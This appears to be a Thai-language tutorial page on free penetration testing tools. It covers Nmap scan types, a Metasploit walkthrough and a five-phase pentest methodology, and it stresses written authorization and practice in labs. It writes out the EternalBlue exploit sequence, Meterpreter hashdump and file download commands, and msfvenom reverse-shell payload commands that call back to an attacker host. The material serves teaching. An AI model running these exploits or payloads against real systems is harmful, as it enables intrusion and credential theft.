penetration testing tools free

Penetration Testing Tools

Penetration Testing Tools Free Pentest Kali Linux Nmap Burp Suite Metasploit Wireshark SQLMap OWASP ZAP Ethical Hacking

Nmap Scanning

# === Nmap Scanning Guide ===

# Basic Commands
# nmap 192.168.1.0/24                    # Scan entire subnet
# nmap -p 1-65535 192.168.1.100          # All ports
# nmap -sV -sC 192.168.1.100            # Version + Default Scripts
# nmap -A 192.168.1.100                  # Aggressive (Version+OS+Script+Traceroute)
# nmap -sS -T4 192.168.1.100            # SYN Stealth + Fast timing
# nmap --script vuln 192.168.1.100      # Vulnerability scan
# nmap -sU -p 53,161,500 192.168.1.100  # UDP scan specific ports
# nmap -oA scan_results 192.168.1.100   # Output all formats

from dataclasses import dataclass

@dataclass
class NmapScan:
    scan_type: str
    command: str
    use_case: str
    stealth: str

scans = [
    NmapScan("Host Discovery",
        "nmap -sn 192.168.1.0/24",
        "หา Host ที่ Online ใน Subnet",
        "ต่ำ (ARP/ICMP Ping)"),
    NmapScan("Quick Port Scan",
        "nmap -F 192.168.1.100",
        "สแกน Top 100 Ports เร็ว",
        "ปานกลาง (SYN default)"),
    NmapScan("Full Port Scan",
        "nmap -p- -T4 192.168.1.100",
        "สแกนทุก 65535 Ports หาทุก Service",
        "ต่ำ (ใช้เวลานาน IDS ตรวจได้)"),
    NmapScan("Service Version",
        "nmap -sV -sC 192.168.1.100",
        "ดู Service Version + Default NSE Scripts",
        "ต่ำ (Connect เต็ม)"),
    NmapScan("Vulnerability Scan",
        "nmap --script vuln 192.168.1.100",
        "สแกนช่องโหว่ด้วย NSE Vuln Scripts",
        "ต่ำ (Active Probing)"),
    NmapScan("Stealth SYN Scan",
        "nmap -sS -T2 192.168.1.100",
        "สแกนแบบ Stealth ไม่สร้าง Full Connection",
        "สูง (Half-open SYN Scan)"),
]

print("=== Nmap Scan Types ===")
for s in scans:
    print(f"  [{s.scan_type}] Stealth: {s.stealth}")
    print(f"    Command: {s.command}")
    print(f"    Use: {s.use_case}")

Metasploit Framework

# === Metasploit Exploitation Guide ===

# msfconsole
# msf6 > search type:exploit platform:windows smb
# msf6 > use exploit/windows/smb/ms17_010_eternalblue
# msf6 exploit(ms17_010_eternalblue) > show options
# msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
# msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
# msf6 exploit(ms17_010_eternalblue) > exploit
#
# Meterpreter Post-exploitation:
# meterpreter > sysinfo
# meterpreter > getuid
# meterpreter > hashdump
# meterpreter > screenshot
# meterpreter > download C:\\Users\\admin\\Documents\\secret.txt
#
# Payload Generation:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > shell.exe
# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf
# msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk

@dataclass
class MSFModule:
    module_type: str
    example: str
    purpose: str
    post_exploit: str

modules = [
    MSFModule("exploit/windows/smb/ms17_010_eternalblue",
        "EternalBlue (WannaCry exploit)",
        "โจมตี Windows SMB ที่ไม่ได้ Patch",
        "Meterpreter Shell → hashdump pivot"),
    MSFModule("exploit/multi/http/apache_log4j_rce",
        "Log4Shell (CVE-2021-44228)",
        "โจมตี Java App ที่ใช้ Log4j",
        "Reverse Shell → Lateral Movement"),
    MSFModule("auxiliary/scanner/http/dir_scanner",
        "Web Directory Scanner",
        "สแกนหา Hidden Directory บน Web",
        "หา Admin Panel Backup Files"),
    MSFModule("auxiliary/scanner/smb/smb_ms17_010",
        "EternalBlue Scanner",
        "ตรวจว่า Host มีช่องโหว่ EternalBlue",
        "รายงาน Vulnerability"),
    MSFModule("post/windows/gather/hashdump",
        "Password Hash Dump",
        "Dump SAM Database Password Hash",
        "Crack Hash ด้วย John/Hashcat"),
]

print("=== Metasploit Modules ===")
for m in modules:
    print(f"  [{m.module_type}]")
    print(f"    Example: {m.example}")
    print(f"    Purpose: {m.purpose}")
    print(f"    Post: {m.post_exploit}")

Methodology

# === Pentest Methodology ===

@dataclass
class PentestPhase:
    phase: str
    tools: str
    activities: str
    output: str

phases = [
    PentestPhase("1. Reconnaissance",
        "Nmap Shodan theHarvester WHOIS DNS",
        "รวบรวมข้อมูล IP Domain Email Employee Technology Stack",
        "Target List Technology Map Attack Surface"),
    PentestPhase("2. Scanning",
        "Nmap Nessus Nikto OWASP ZAP Gobuster",
        "สแกน Port Service Version Vulnerability Web Directory",
        "Open Ports Vulnerabilities Web Paths"),
    PentestPhase("3. Exploitation",
        "Metasploit SQLMap Burp Suite Custom Scripts",
        "Exploit ช่องโหว่ที่พบ SQL Injection XSS RCE",
        "Access Shells Credentials Data"),
    PentestPhase("4. Post-Exploitation",
        "Meterpreter BloodHound Mimikatz LinPEAS",
        "Privilege Escalation Lateral Movement Data Exfiltration",
        "Domain Admin Access Sensitive Data"),
    PentestPhase("5. Reporting",
        "Report Template CVSS Calculator",
        "เขียนรายงาน ช่องโหว่ ระดับ PoC วิธีแก้ไข",
        "Executive Summary Technical Report Remediation Plan"),
]

print("=== Pentest Methodology ===")
for p in phases:
    print(f"\n  [{p.phase}]")
    print(f"    Tools: {p.tools}")
    print(f"    Activities: {p.activities}")
    print(f"    Output: {p.output}")

เคล็ดลับ

• Authorization: ต้องได้รับอนุญาตเป็นลายลักษณ์อักษรก่อนทดสอบเสมอ
• Lab: ฝึกใน HackTheBox TryHackMe VulnHub ก่อนทดสอบจริง
• Nmap: เริ่มจาก Quick Scan แล้วค่อย Deep Scan ตาม
• Notes: จดทุกอย่างที่ทำ ใช้ Cherry Tree หรือ Obsidian
• OSCP: ฝึก OSCP Methodology เป็น Standard ที่ดี

Penetration Testing คืออะไร

Ethical Hacking ทดสอบเจาะระบบ Black White Gray Box Recon Scan Exploit Post Report Authorization CEH OSCP PNPT

สรุป

Penetration Testing Tools Free Kali Nmap Metasploit Burp SQLMap OWASP ZAP Methodology Recon Scan Exploit Post Report Ethical